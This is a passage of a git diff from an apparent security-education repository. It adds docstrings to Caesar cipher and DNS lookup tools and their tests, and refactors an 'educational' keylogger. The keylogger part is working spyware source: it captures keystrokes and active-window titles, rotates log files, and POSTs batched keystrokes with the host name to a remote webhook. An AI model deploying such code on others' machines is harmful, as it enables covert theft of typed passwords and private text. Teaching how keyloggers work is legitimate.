returns infinity + rank_candidates() orders results by score ascending + end-to-end crack-and-rank against a known plaintext + +Connects to: + analyzer.py - the class under test + cipher.py - crack() output used as input to rank_candidates() """ from caesar_cipher.analyzer import FrequencyAnalyzer @@ -9,28 +21,43 @@ from caesar_cipher.cipher import CaesarCipher class TestFrequencyAnalyzer: def test_calculate_chi_squared_english_text(self) -> None: + """ + Confirms real English text scores below a reasonable chi-squared threshold + """ analyzer = FrequencyAnalyzer() english_text = "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG" score = analyzer.calculate_chi_squared(english_text) assert score < 150 def test_calculate_chi_squared_gibberish(self) -> None: + """ + Confirms text made of rare letters scores above the threshold + """ analyzer = FrequencyAnalyzer() gibberish = "ZZZZZ QQQQQ XXXXX" score = analyzer.calculate_chi_squared(gibberish) assert score > 100 def test_calculate_chi_squared_empty_string(self) -> None: + """ + Confirms an empty string returns infinity since there are no letters to score + """ analyzer = FrequencyAnalyzer() assert analyzer.calculate_chi_squared("") == float("inf") def test_score_text_lowercase(self) -> None: + """ + Confirms score_text returns a non-negative float for lowercase input + """ analyzer = FrequencyAnalyzer() score = analyzer.score_text("hello world") assert isinstance(score, float) assert score >= 0 def test_rank_candidates_orders_by_score(self) -> None: + """ + Confirms candidates are sorted so the most English-like text ranks first + """ analyzer = FrequencyAnalyzer() candidates = [ (0, @@ -48,6 +75,9 @@ class TestFrequencyAnalyzer: assert ranked[1][2] < ranked[2][2] def test_rank_candidates_with_actual_cipher(self) -> None: + """ + Encrypts known text, brute-forces all shifts, and confirms the correct key ranks first + """ cipher = CaesarCipher(key = 3) plaintext = "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG" ciphertext = cipher.encrypt(plaintext) @@ -61,6 +91,9 @@ class TestFrequencyAnalyzer: assert best_text == plaintext def test_rank_candidates_empty_list(self) -> None: + """ + Confirms an empty candidate list returns an empty ranked list + """ analyzer = FrequencyAnalyzer() ranked = analyzer.rank_candidates([]) assert ranked == [] diff --git a/PROJECTS/beginner/caesar-cipher/tests/test_cipher.py b/PROJECTS/beginner/caesar-cipher/tests/test_cipher.py index 3506dcca..a04ab425 100644 --- a/PROJECTS/beginner/caesar-cipher/tests/test_cipher.py +++ b/PROJECTS/beginner/caesar-cipher/tests/test_cipher.py @@ -1,6 +1,18 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 test_cipher.py + +Tests for CaesarCipher covering encryption, decryption, and brute-force cracking + +Tests: + encrypt/decrypt correctness for upper, lower, and mixed case + non-letter preservation (spaces, punctuation, numbers) + encrypt/decrypt roundtrip fidelity + key validation and edge cases (zero key, negative key, alphabet wrapping) + crack() generating all 26 shifts and locating the correct one + +Connects to: + cipher.py - the class under test """ import pytest @@ -10,38 +22,65 @@ from caesar_cipher.cipher import CaesarCipher class TestCaesarCipher: def test_encrypt_basic(self) -> None: + """ + Encrypts uppercase text with key 3 and checks the shifted output + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("HELLO") == "KHOOR" def test_encrypt_lowercase(self) -> None: + """ + Encrypts lowercase text and confirms lowercase output is preserved + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("hello") == "khoor" def test_encrypt_mixed_case(self) -> None: + """ + Encrypts mixed-case text and confirms upper and lower shift independently + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("Hello World") == "Khoor Zruog" def test_encrypt_preserves_spaces(self) -> None: + """ + Confirms spaces pass through encryption without being shifted + """ cipher = CaesarCipher(key = 5) assert cipher.encrypt("ABC XYZ") == "FGH CDE" def test_encrypt_preserves_punctuation(self) -> None: + """ + Confirms commas and exclamation marks pass through encryption unchanged + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("Hello, World!") == "Khoor, Zruog!" def test_encrypt_preserves_numbers(self) -> None: + """ + Confirms digits pass through encryption unchanged + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("Test123") == "Whvw123" def test_decrypt_basic(self) -> None: + """ + Decrypts uppercase ciphertext back to plaintext using the matching key + """ cipher = CaesarCipher(key = 3) assert cipher.decrypt("KHOOR") == "HELLO" def test_decrypt_lowercase(self) -> None: + """ + Decrypts lowercase ciphertext and confirms case is preserved in output + """ cipher = CaesarCipher(key = 3) assert cipher.decrypt("khoor") == "hello" def test_encrypt_decrypt_roundtrip(self) -> None: + """ + Encrypts then decrypts a full sentence and asserts the result matches the original + """ cipher = CaesarCipher(key = 13) original = "The Quick Brown Fox Jumps Over The Lazy Dog!" encrypted = cipher.encrypt(original) @@ -49,30 +88,51 @@ class TestCaesarCipher: assert decrypted == original def test_key_wrapping(self) -> None: + """ + Confirms key 26 is equivalent to key 0 and produces no shift + """ cipher = CaesarCipher(key = 26) assert cipher.encrypt("ABC") == "ABC" def test_negative_key(self) -> None: + """ + Confirms a negative key shifts letters backward through the alphabet + """ cipher = CaesarCipher(key = -3) assert cipher.encrypt("HELLO") == "EBIIL" def test_zero_key(self) -> None: + """ + Confirms key 0 leaves the plaintext completely unchanged + """ cipher = CaesarCipher(key = 0) assert cipher.encrypt("HELLO") == "HELLO" def test_key_validation_too_large(self) -> None: + """ + Confirms keys above 26 raise ValueError with the expected message + """ with pytest.raises(ValueError, match = "Key must be between -25 and 26"): CaesarCipher(key = 30) def test_key_validation_too_small(self) -> None: + """ + Confirms keys below -25 raise ValueError with the expected message + """ with pytest.raises(ValueError, match = "Key must be between -25 and 26"): CaesarCipher(key = -30) def test_crack_returns_all_shifts(self) -> None: + """ + Confirms crack() produces exactly 26 candidate decryptions + """ results = CaesarCipher.crack("KHOOR") assert len(results) == 26 def test_crack_finds_correct_shift(self) -> None: + """ + Confirms the known shift key appears in crack() output with the correct plaintext + """ cipher = CaesarCipher(key = 3) encrypted = cipher.encrypt("HELLO") results = CaesarCipher.crack(encrypted) @@ -80,14 +140,23 @@ class TestCaesarCipher: assert shifts_dict[3] == "HELLO" def test_empty_string(self) -> None: + """ + Confirms empty string input returns empty string for both encrypt and decrypt + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("") == "" assert cipher.decrypt("") == "" def test_alphabet_wraparound_uppercase(self) -> None: + """ + Confirms XYZ wraps around to ABC when shifted forward by 3 + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("XYZ") == "ABC" def test_alphabet_wraparound_lowercase(self) -> None: + """ + Confirms xyz wraps around to abc when shifted forward by 3 + """ cipher = CaesarCipher(key = 3) assert cipher.encrypt("xyz") == "abc" diff --git a/PROJECTS/beginner/caesar-cipher/tests/test_cli.py b/PROJECTS/beginner/caesar-cipher/tests/test_cli.py index 627c15dd..e7dfd90a 100644 --- a/PROJECTS/beginner/caesar-cipher/tests/test_cli.py +++ b/PROJECTS/beginner/caesar-cipher/tests/test_cli.py @@ -1,6 +1,20 @@ """ -ⒸAngelaMos | 2026 +©AngelaMos | 2026 test_cli.py + +Integration tests for the encrypt, decrypt, and crack CLI commands + +Tests each command's exit codes, output content, key validation, and +file-based I/O using Typer's CliRunner without spawning a subprocess. + +Tests: + encrypt command: basic output, spaces, invalid key rejection + decrypt command: basic output, spaces, invalid key rejection + crack command: output format, --top option, --all option + file I/O: reading from and writing to temp files + +Connects to: + main.py - invokes the Typer app under test """ from pathlib import Path @@ -15,16 +29,25 @@ runner = CliRunner() class TestEncryptCommand: def test_encrypt_basic(self) -> None: + """ + Runs the encrypt command with key 3 and checks KHOOR appears in output + """ result = runner.invoke(app, ["encrypt", "HELLO", "--key", "3"]) assert result.exit_code == 0 assert "KHOOR" in result.stdout def test_encrypt_with_spaces(self) -> None: + """ + Runs encrypt on a two-word phrase and checks both words shift correctly + """ result = runner.invoke(app, ["encrypt", "HELLO WORLD", "--key", "3"]) assert result.exit_code == 0 assert "KHOOR ZRUOG" in result.stdout def test_encrypt_invalid_key(self) -> None: + """ + Runs encrypt with key 30 and confirms exit code 1 and an error message + """ result = runner.invoke(app, ["encrypt", "HELLO", "--key", "30"]) assert result.exit_code == 1 assert "Error" in result.stdout @@ -32,16 +55,25 @@ class TestEncryptCommand: class TestDecryptCommand: def test_decrypt_basic(self) -> None: + """ + Runs the decrypt command with key 3 and checks HELLO appears in output + """ result = runner.invoke(app, ["decrypt", "KHOOR", "--key", "3"]) assert result.exit_code == 0 assert "HELLO" in result.stdout def test_decrypt_with_spaces(self) -> None: + """ + Runs decrypt on a two-word ciphertext and checks the full plaintext is recovered + """ result = runner.invoke(app, ["decrypt", "KHOOR ZRUOG", "--key", "3"]) assert result.exit_code == 0 assert "HELLO WORLD" in result.stdout def test_decrypt_invalid_key(self) -> None: + """ + Runs decrypt with an out-of-range key and confirms exit code 1 and an error message + """ result = runner.invoke(app, ["decrypt", "KHOOR", "--key", "30"]) assert result.exit_code == 1 assert "Error" in result.stdout @@ -49,22 +81,34 @@ class TestDecryptCommand: class TestCrackCommand: def test_crack_basic(self) -> None: + """ + Runs the crack command and confirms HELLO is recovered and best match is shown + """ result = runner.invoke(app, ["crack", "KHOOR"]) assert result.exit_code == 0 assert "HELLO" in result.stdout assert "Best match" in result.stdout def test_crack_with_top_option(self) -> None: + """ + Runs crack with --top 3 and confirms the command completes successfully + """ result = runner.invoke(app, ["crack", "KHOOR", "--top", "3"]) assert result.exit_code == 0 def test_crack_show_all(self) -> None: + """ + Runs crack with --all and confirms all 26 shifts are displayed without error + """ result = runner.invoke(app, ["crack", "KHOOR", "--all"]) assert result.exit_code == 0 class TestFileIO: def test_encrypt_from_file(self, tmp_path: Path) -> None: + """ + Encrypts text read from a temp input file and checks the ciphertext in output + """ input_file = tmp_path / "input.txt" input_file.write_text("HELLO WORLD") @@ -80,6 +124,9 @@ class TestFileIO: assert "KHOOR ZRUOG" in result.stdout def test_encrypt_to_file(self, tmp_path: Path) -> None: + """ + Encrypts text and writes to a temp file, then reads it back to verify contents + """ output_file = tmp_path / "output.txt" result = runner.invoke( @@ -97,6 +144,9 @@ class TestFileIO: assert output_file.read_text() == "KHOOR" def test_decrypt_from_file(self, tmp_path: Path) -> None: + """ + Decrypts text read from a temp input file and checks the plaintext in output + """ input_file = tmp_path / "input.txt" input_file.write_text("KHOOR") diff --git a/PROJECTS/beginner/dns-lookup/dnslookup/cli.py b/PROJECTS/beginner/dns-lookup/dnslookup/cli.py index cfa06143..479e8b03 100644 --- a/PROJECTS/beginner/dns-lookup/dnslookup/cli.py +++ b/PROJECTS/beginner/dns-lookup/dnslookup/cli.py @@ -3,6 +3,21 @@ cli.py Typer CLI application for DNS lookups + +Defines the dnslookup CLI using Typer with five commands: query, reverse, +trace, batch, and whois. Each command shows a Rich spinner during the +operation, then either renders formatted terminal output or JSON depending +on the --json flag. The batch command also supports writing JSON to a file +with --output. + +Key exports: + app - The Typer application instance, used as the entry point in __main__.py + +Connects to: + resolver.py - calls lookup(), reverse_lookup(), trace_dns(), batch_lookup() + output.py - calls all print_* functions and results_to_json(), trace_to_json() + whois_lookup.py - calls lookup_whois(), print_whois_result(), whois_to_json() + __init__.py - imports __version__ for the --version flag """ from __future__ import annotations diff --git a/PROJECTS/beginner/dns-lookup/dnslookup/output.py b/PROJECTS/beginner/dns-lookup/dnslookup/output.py index ce545aa3..2a734961 100644 --- a/PROJECTS/beginner/dns-lookup/dnslookup/output.py +++ b/PROJECTS/beginner/dns-lookup/dnslookup/output.py @@ -3,6 +3,24 @@ output.py Rich terminal output formatting for DNS results + +Handles all visual presentation for query, reverse, trace, batch, and +WHOIS results. Uses Rich tables, panels, and tree structures with color +coding per record type. Also provides JSON serialization used when the +--json flag is passed from the CLI. + +Key exports: + console - Shared Rich Console instance imported by cli.py + print_results_table - Renders DNS records as a color-coded rounded table + print_reverse_result - Renders PTR lookup output with hostname table + print_trace_result - Renders the DNS resolution path as a Rich tree + print_batch_results - Renders a summary table for multiple domain results + results_to_json - Serializes one or more DNSResult objects to a JSON string + trace_to_json - Serializes a TraceResult to a JSON string + +Connects to: + resolver.py - imports DNSResult, TraceResult, RecordType for type annotations + cli.py - all print_* functions and JSON serializers called in command handlers """ from __future__ import annotations diff --git a/PROJECTS/beginner/dns-lookup/dnslookup/resolver.py b/PROJECTS/beginner/dns-lookup/dnslookup/resolver.py index 165b94d1..95d861ef 100644 --- a/PROJECTS/beginner/dns-lookup/dnslookup/resolver.py +++ b/PROJECTS/beginner/dns-lookup/dnslookup/resolver.py @@ -3,6 +3,28 @@ resolver.py Async DNS resolution with record type support + +Core DNS engine for the tool. Provides async functions for forward lookup, +reverse lookup, and trace using dnspython. Forward lookups fire all +record type queries concurrently via asyncio.gather. The trace function +walks the DNS hierarchy starting from root servers, following NS referrals +until it reaches an authoritative server with the final answer. + +Key exports: + RecordType - StrEnum of supported record types (A, AAAA, MX, NS, TXT, CNAME, SOA, PTR) + ALL_RECORD_TYPES - Default list used by forward lookups (excludes PTR) + DNSRecord - Single record with type, value, TTL, and optional priority + DNSResult - Full lookup result with records, errors, timing, and nameserver + TraceHop - One server queried during a trace with zone, IP, and response summary + TraceResult - Full trace path including all hops and the final resolved answer + lookup() - Async forward lookup for one domain across multiple record types + reverse_lookup() - Async PTR record lookup for an IP address + trace_dns() - Synchronous DNS trace from root servers to authoritative servers + batch_lookup() - Async concurrent lookup for a list of domains + +Connects to: + cli.py - all public functions and constants imported here + output.py - DNSResult, TraceResult, RecordType imported for display formatting """ from __future__ import annotations diff --git a/PROJECTS/beginner/dns-lookup/dnslookup/whois_lookup.py b/PROJECTS/beginner/dns-lookup/dnslookup/whois_lookup.py index 0d5f8ba3..edb50822 100644 --- a/PROJECTS/beginner/dns-lookup/dnslookup/whois_lookup.py +++ b/PROJECTS/beginner/dns-lookup/dnslookup/whois_lookup.py @@ -3,6 +3,21 @@ whois_lookup.py WHOIS domain information lookup and display + +Wraps the python-whois library to query domain registration data and +normalize results into the WhoisResult dataclass. Handles the inconsistent +responses that whois returns across registrars (single values vs lists, +missing fields). Also provides Rich table rendering and JSON serialization +for the whois CLI command. + +Key exports: + WhoisResult - Dataclass with registrar, dates, name servers, DNSSEC, and error fields + lookup_whois() - Queries WHOIS and returns a normalized WhoisResult + print_whois_result() - Renders WhoisResult as a two-column Rich table + whois_to_json() - Serializes WhoisResult to a JSON string with ISO date formatting + +Connects to: + cli.py - lookup_whois(), print_whois_result(), whois_to_json() called in the whois command """ from __future__ import annotations diff --git a/PROJECTS/beginner/dns-lookup/tests/test_resolver.py b/PROJECTS/beginner/dns-lookup/tests/test_resolver.py index cb00a635..f5462621 100644 --- a/PROJECTS/beginner/dns-lookup/tests/test_resolver.py +++ b/PROJECTS/beginner/dns-lookup/tests/test_resolver.py @@ -3,6 +3,23 @@ test_resolver.py Tests for DNS resolver functionality + +Unit tests cover the data models and enum values. Integration tests make +real DNS queries against live nameservers, so network access is required +for those to pass. Async tests use pytest-asyncio. + +Tests: + TestRecordType - enum string values and ALL_RECORD_TYPES membership (PTR excluded) + TestDNSRecord - dataclass construction including MX priority field + TestDNSResult - default empty state and record population + TestCreateResolver - timeout, lifetime, and custom nameserver configuration + TestLookup - forward lookup against real and nonexistent domains, custom server + TestReverseLookup - PTR lookup against 8.8.8.8 + TestTraceDNS - TraceResult structure and real domain trace + TestBatchLookup - concurrent multi-domain lookup including empty list + +Connects to: + resolver.py - all public symbols imported and exercised here """ import pytest @@ -26,6 +43,9 @@ class TestRecordType: Tests for RecordType enum """ def test_all_record_types_exist(self) -> None: + """ + Each RecordType member matches its expected string value + """ assert RecordType.A == "A" assert RecordType.AAAA == "AAAA" assert RecordType.MX == "MX" @@ -36,6 +56,9 @@ class TestRecordType: assert RecordType.PTR == "PTR" def test_all_record_types_list(self) -> None: + """ + ALL_RECORD_TYPES has exactly 7 entries and excludes PTR + """ assert len(ALL_RECORD_TYPES) == 7 assert RecordType.PTR not in ALL_RECORD_TYPES @@ -45,6 +68,9 @@ class TestDNSRecord: Tests for DNSRecord dataclass """ def test_create_basic_record(self) -> None: + """ + A record is created with correct type, value, TTL, and no priority + """ record = DNSRecord( record_type = RecordType.A, value = "93.184.216.34", @@ -56,6 +82,9 @@ class TestDNSRecord: assert record.priority is None def test_create_mx_record_with_priority(self) -> None: + """ + MX record stores the priority value alongside the mail server + """ record = DNSRecord( record_type = RecordType.MX, value = "mail.example.com", @@ -71,6 +100,9 @@ class TestDNSResult: Tests for DNSResult dataclass """ def test_create_empty_result(self) -> None: + """ + DNSResult initializes with empty records, errors, zero timing, and no nameserver + """ result = DNSResult(domain = "example.com") assert result.domain == "example.com" assert result.records == [] @@ -79,6 +111,9 @@ class TestDNSResult: assert result.nameserver is None def test_result_with_records(self) -> None: + """ + DNSResult correctly stores records and query timing when provided + """ record = DNSRecord(RecordType.A, "1.2.3.4", 3600) result = DNSResult( domain = "example.com", @@ -94,15 +129,24 @@ class TestCreateResolver: Tests for create_resolver function """ def test_default_resolver(self) -> None: + """ + Default resolver uses 5s timeout and 10s lifetime + """ resolver = create_resolver() assert resolver.timeout == 5.0 assert resolver.lifetime == 10.0 def test_custom_nameserver(self) -> None: + """ + Resolver uses the provided nameserver IP when one is given + """ resolver = create_resolver(nameserver = "8.8.8.8") assert "8.8.8.8" in resolver.nameservers def test_custom_timeout(self) -> None: + """ + Resolver sets lifetime to double the provided timeout value + """ resolver = create_resolver(timeout = 10.0) assert resolver.timeout == 10.0 assert resolver.lifetime == 20.0 @@ -114,12 +158,18 @@ class TestLookup: """ @pytest.mark.asyncio async def test_lookup_real_domain(self) -> None: + """ + Live A record lookup for example.com returns a result with nonzero query time + """ result = await lookup("example.com", [RecordType.A]) assert result.domain == "example.com" assert result.query_time_ms > 0 @pytest.mark.asyncio async def test_lookup_nonexistent_domain(self) -> None: + """ + Lookup for a domain that does not exist returns zero records without raising + """ result = await lookup( "this-domain-definitely-does-not-exist-12345.com", [RecordType.A] @@ -129,6 +179,9 @@ class TestLookup: @pytest.mark.asyncio async def test_lookup_with_custom_server(self) -> None: + """ + Lookup using a custom nameserver records that server on the result + """ result = await lookup( "example.com", [RecordType.A], @@ -143,6 +196,9 @@ class TestReverseLookup: """ @pytest.mark.asyncio async def test_reverse_lookup_google_dns(self) -> None: + """ + Reverse lookup for 8.8.8.8 returns a result with nonzero query time + """ result = await reverse_lookup("8.8.8.8") assert result.domain == "8.8.8.8" assert result.query_time_ms > 0 @@ -153,6 +209,9 @@ class TestTraceDNS: Tests for DNS trace functionality """ def test_trace_result_structure(self) -> None: + """ + TraceResult initializes with empty hops, no final answer, and no error + """ result = TraceResult(domain = "example.com") assert result.domain == "example.com" assert result.hops == [] @@ -160,6 +219,9 @@ class TestTraceDNS: assert result.error is None def test_trace_real_domain(self) -> None: + """ + Live trace for example.com returns a result with the correct domain set + """ result = trace_dns("example.com") assert result.domain == "example.com" @@ -170,6 +232,9 @@ class TestBatchLookup: """ @pytest.mark.asyncio async def test_batch_lookup_multiple_domains(self) -> None: + """ + Batch lookup returns one result per domain in the same order as input + """ domains = ["example.com", "example.org"] results = await batch_lookup(domains, [RecordType.A]) assert len(results) == 2 @@ -178,5 +243,8 @@ class TestBatchLookup: @pytest.mark.asyncio async def test_batch_lookup_empty_list(self) -> None: + """ + Batch lookup with an empty domain list returns an empty list + """ results = await batch_lookup([], [RecordType.A]) assert results == [] diff --git a/PROJECTS/beginner/keylogger/.gitignore b/PROJECTS/beginner/keylogger/.gitignore new file mode 100644 index 00000000..120f4c59 --- /dev/null +++ b/PROJECTS/beginner/keylogger/.gitignore @@ -0,0 +1,24 @@ +# 2026 | ©AngelaMos LLC + +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +build/ +var/ +wheels/ +*.egg-info/ +.installed.cfg +*.egg +.venv/ +venv/ +*.venv +.coverage +htmlcov/ +.tox/ +.dmypy.json +dmypy.json +.ruff_cache/ +.mypy_cache/ +.pytest_cache/ diff --git a/PROJECTS/beginner/keylogger/justfile b/PROJECTS/beginner/keylogger/justfile index 7eeb079a..f188e309 100644 --- a/PROJECTS/beginner/keylogger/justfile +++ b/PROJECTS/beginner/keylogger/justfile @@ -1,5 +1,5 @@ -# CarterPerez-dev | 2025 -# Keylogger Development Commands +# ©AngelaMos | 2026 +# justfile set dotenv-load set export @@ -54,7 +54,7 @@ install-dev: test: @echo "Running tests..." @echo "" - uv run python test_keylogger.py + uv run pytest test_keylogger.py -v # Run all linting checks (ruff, pylint, mypy) [group('test')] diff --git a/PROJECTS/beginner/keylogger/keylogger.py b/PROJECTS/beginner/keylogger/keylogger.py index 0e75ef8e..19369d5d 100644 --- a/PROJECTS/beginner/keylogger/keylogger.py +++ b/PROJECTS/beginner/keylogger/keylogger.py @@ -1,16 +1,32 @@ """ -CarterPerez-dev | 2025 +©AngelaMos | 2026 +keylogger.py -This keylogger demonstrates: -keyboard event capture, log management, and remote delivery +Educational keylogger demonstrating keyboard capture, log management, and remote delivery -Unauthorized use of keyloggers is illegal. -Only use on systems you own or have permission to monitor +Captures keystrokes via pynput, tracks the active window across Windows, macOS, +and Linux, writes timestamped logs to disk with size-based rotation, and optionally +ships batched events to a webhook. All classes and constants live in this single file. +Directory creation happens in LogManager, not KeyloggerConfig, so config objects +carry no side effects on construction. + +IMPORTANT: Unauthorized use of keyloggers is illegal. Only use on systems you own +or have explicit permission to monitor. + +Key exports: + Keylogger - Main class, coordinates listener, log writer, and webhook + KeyloggerConfig - Dataclass holding all runtime configuration + KeyEvent - Single keystroke record with timestamp, window title, and type + LogManager - Raw file writer with size-based rotation and explicit close() + WebhookDelivery - Batched HTTP delivery, releases the buffer lock before POSTing + WindowTracker - Active window title lookup across three OS platforms + KeyType - Enum categorizing keystrokes as CHAR, SPECIAL, or UNKNOWN + SPECIAL_KEYS - Dict mapping pynput Key values to their display labels """ -import sys -import logging +import subprocess import platform +import logging from enum import ( Enum, auto, @@ -23,45 +39,65 @@ from pathlib import Path from datetime import datetime from dataclasses import dataclass - try: from pynput import keyboard from pynput.keyboard import Key, KeyCode -except ImportError: - print("Error: pynput not installed. Run: pip install pynput") - sys.exit(1) +except ImportError as exc: + raise ImportError("pynput is required: uv add pynput") from exc try: import requests except ImportError: - print( - "Warning: requests not installed. Webhook delivery disabled" - ) - print("Run: pip install requests") requests = None # type: ignore[assignment] -if platform.system() == "Windows": +WINDOWS = "Windows" +DARWIN = "Darwin" +LINUX = "Linux" + +if platform.system() == WINDOWS: try: import win32gui import win32process import psutil except ImportError: win32gui = None -elif platform.system() == "Darwin": +elif platform.system() == DARWIN: try: from AppKit import NSWorkspace except ImportError: NSWorkspace = None -elif platform.system() == "Linux": - try: - import subprocess - except ImportError: - subprocess = None # type: ignore[assignment] + +BYTES_PER_MB = 1024 * 1024 +WEBHOOK_TIMEOUT_SECS = 5 +WINDOW_CHECK_INTERVAL_SECS = 0.5 +LISTENER_JOIN_TIMEOUT_SECS = 1.0 + +SPECIAL_KEYS: dict[Key, + str] = { + Key.space: "[SPACE]", + Key.enter: "[ENTER]", + Key.tab: "[TAB]", + Key.backspace: "[BACKSPACE]", + Key.delete: "[DELETE]", + Key.shift: "[SHIFT]", + Key.shift_r: "[SHIFT]", + Key.ctrl: "[CTRL]", + Key.ctrl_r: "[CTRL]", + Key.alt: "[ALT]", + Key.alt_r: "[ALT]", + Key.cmd: "[CMD]", + Key.cmd_r: "[CMD]", + Key.esc: "[ESC]", + Key.up: "[UP]", + Key.down: "[DOWN]", + Key.left: "[LEFT]", + Key.right: "[RIGHT]", + } class KeyType(Enum): """ - Enumeration of keyboard event types for type safety + Categorizes keystrokes as character, special, or unknown """ CHAR = auto() SPECIAL = auto() @@ -71,7 +107,7 @@ class KeyType(Enum): @dataclass class KeyloggerConfig: """ - Configuration for keylogger behavior + Runtime configuration for keylogger behavior """ log_dir: Path = Path.home() / ".keylogger_logs" log_file_prefix: str = "keylog" @@ -81,9 +117,7 @@ class KeyloggerConfig: toggle_key: Key = Key.f9 enable_window_tracking: bool = True log_special_keys: bool = True - - def __post_init__(self): - self.log_dir.mkdir(parents = True, exist_ok = True) + window_check_interval: float = (WINDOW_CHECK_INTERVAL_SECS) @dataclass @@ -98,27 +132,29 @@ class KeyEvent: def to_dict(self) -> dict[str, str]: """ - Convert event to dictionary for JSON serialization + Convert event to dictionary for serialization """ return { "timestamp": self.timestamp.isoformat(), "key": self.key, - "window_title": self.window_title or "Unknown", - "key_type": self.key_type.name.lower() + "window_title": (self.window_title or "Unknown"), + "key_type": self.key_type.name.lower(), } def to_log_string(self) -> str: """ - Format event as human readable log string + Format event as human readable log line """ time_str = self.timestamp.strftime("%Y-%m-%d %H:%M:%S") - window_info = f" [{self.window_title}]" if self.window_title else "" - return f"[{time_str}]{window_info} {self.key}" + window = ( + f" [{self.window_title}]" if self.window_title else "" + ) + return f"[{time_str}]{window} {self.key}" class WindowTracker: """ - Tracks active window titles across different operating systems + Active window title lookup across OS platforms """ @staticmethod def get_active_window() -> str | None: @@ -127,11 +163,11 @@ class WindowTracker: """ system = platform.system() - if system == "Windows" and win32gui: + if system == WINDOWS and win32gui: return WindowTracker._get_windows_window() - if system == "Darwin" and NSWorkspace: + if system == DARWIN and NSWorkspace: return WindowTracker._get_macos_window() - if system == "Linux": + if system == LINUX: return WindowTracker._get_linux_window() return None @@ -139,21 +175,26 @@ class WindowTracker: @staticmethod def _get_windows_window() -> str | None: try: - window = win32gui.GetForegroundWindow() - _, pid = win32process.GetWindowThreadProcessId(window) + hwnd = win32gui.GetForegroundWindow() + _, pid = (win32process.GetWindowThreadProcessId(hwnd)) process = psutil.Process(pid) - window_title = win32gui.GetWindowText(window) - return f"{process.name()} - {window_title}" if window_title else process.name( - ) + title = win32gui.GetWindowText(hwnd) + if title: + return (f"{process.name()} - {title}") + return process.name() except Exception: return None @staticmethod def _get_macos_window() -> str | None: try: - active_app = NSWorkspace.sharedWorkspace( - ).activeApplication() - return active_app.get('NSApplicationName', 'Unknown') + active = ( + NSWorkspace.sharedWorkspace().activeApplication() + ) + return active.get( + 'NSApplicationName', + 'Unknown', + ) except Exception: return None @@ -161,82 +202,102 @@ class WindowTracker: def _get_linux_window() -> str | None: try: result = subprocess.run( - ['xdotool', - 'getactivewindow', - 'getwindowname'], + [ + 'xdotool', + 'getactivewindow', + 'getwindowname', + ], capture_output = True, text = True, timeout = 1, - check = False + check = False, ) - return result.stdout.strip( - ) if result.returncode == 0 else None + if result.returncode == 0: + return result.stdout.strip() + return None except Exception: return None class LogManager: """ - Manages log file rotation and writing + File writer with automatic size-based rotation """ def __init__(self, config: KeyloggerConfig): self.config = config - self.current_log_path = self._get_new_log_path() - self.lock = Lock() - self.logger = self._setup_logger() - - def _setup_logger(self) -> logging.Logger: - logger = logging.getLogger("keylogger") - logger.setLevel(logging.INFO) - - handler = logging.FileHandler(self.current_log_path) - handler.setFormatter(logging.Formatter('%(message)s')) - logger.addHandler(handler) - - return logger + config.log_dir.mkdir( + parents = True, + exist_ok = True, + ) + self.current_log_path = (self._get_new_log_path()) + self._lock = Lock() + self._file = open( + self.current_log_path, + 'a', + encoding = 'utf-8', + ) def _get_new_log_path(self) -> Path: """ Generate a new log file path with timestamp """ - timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") - return self.config.log_dir / f"{self.config.log_file_prefix}_{timestamp}.txt" + ts = datetime.now().strftime("%Y%m%d_%H%M%S_%f") + name = (f"{self.config.log_file_prefix}_{ts}.txt") + return self.config.log_dir / name def write_event(self, event: KeyEvent) -> None: """ Write a keyboard event to the log file """ - with self.lock: - self.logger.info(event.to_log_string()) + with self._lock: + self._file.write(event.to_log_string() + '\n') + self._file.flush() self._check_rotation() def _check_rotation(self) -> None: """ - Check if log rotation is needed based on file size + Rotate log file when size limit is reached """ - current_size_mb = self.current_log_path.stat( - ).st_size / (1024 * 1024) + try: + size = (self.current_log_path.stat().st_size) + except FileNotFoundError: + self._rotate() + return - if current_size_mb >= self.config.max_log_size_mb: - self.logger.handlers[0].close() - self.logger.removeHandler(self.logger.handlers[0]) + if (size / BYTES_PER_MB >= self.config.max_log_size_mb): + self._rotate() - self.current_log_path = self._get_new_log_path() - handler = logging.FileHandler(self.current_log_path) - handler.setFormatter(logging.Formatter('%(message)s')) - self.logger.addHandler(handler) + def _rotate(self) -> None: + """ + Close current log file and open a new one + """ + self._file.close() + self.current_log_path = (self._get_new_log_path()) + self._file = open( + self.current_log_path, + 'a', + encoding = 'utf-8', + ) def get_current_log_content(self) -> str: """ Read and return the current log file content """ - with self.lock: + with self._lock: + self._file.flush() return self.current_log_path.read_text(encoding = 'utf-8') + def close(self) -> None: + """ + Close the underlying file handle + """ + with self._lock: + self._file.close() + class WebhookDelivery: """ - Handles batched delivery of logs to remote webhook + Batched HTTP delivery of events to a remote endpoint """ def __init__(self, config: KeyloggerConfig): self.config = config @@ -246,55 +307,72 @@ class WebhookDelivery: def add_event(self, event: KeyEvent) -> None: """ - Add event to buffer and deliver if batch size reached + Buffer an event and deliver when batch is full """ if not self.enabled: return + batch: list[KeyEvent] | None = None with self.buffer_lock: self.event_buffer.append(event) + if (len(self.event_buffer) + >= self.config.webhook_batch_size): + batch = self.event_buffer + self.event_buffer = [] - if len(self.event_buffer - ) >= self.config.webhook_batch_size: - self._deliver_batch() + if batch: + self._deliver_batch(batch) - def _deliver_batch(self) -> None: + def _deliver_batch( + self, + events: list[KeyEvent], + ) -> None: """ - Deliver buffered events to webhook endpoint + POST buffered events to the webhook endpoint """ - if not self.event_buffer or not self.config.webhook_url: + if not events or not self.config.webhook_url: return payload = { - "timestamp": datetime.now().isoformat(), + "timestamp": (datetime.now().isoformat()), "host": platform.node(), - "events": - [event.to_dict() for event in self.event_buffer] + "events": [e.to_dict() for e in events], } try: response = requests.post( self.config.webhook_url, json = payload, - timeout = 5 + timeout = WEBHOOK_TIMEOUT_SECS, + ) + if not response.ok: + logging.warning( + "Webhook returned %s", + response.status_code, + ) + except Exception: + logging.error( + "Webhook delivery failed", + 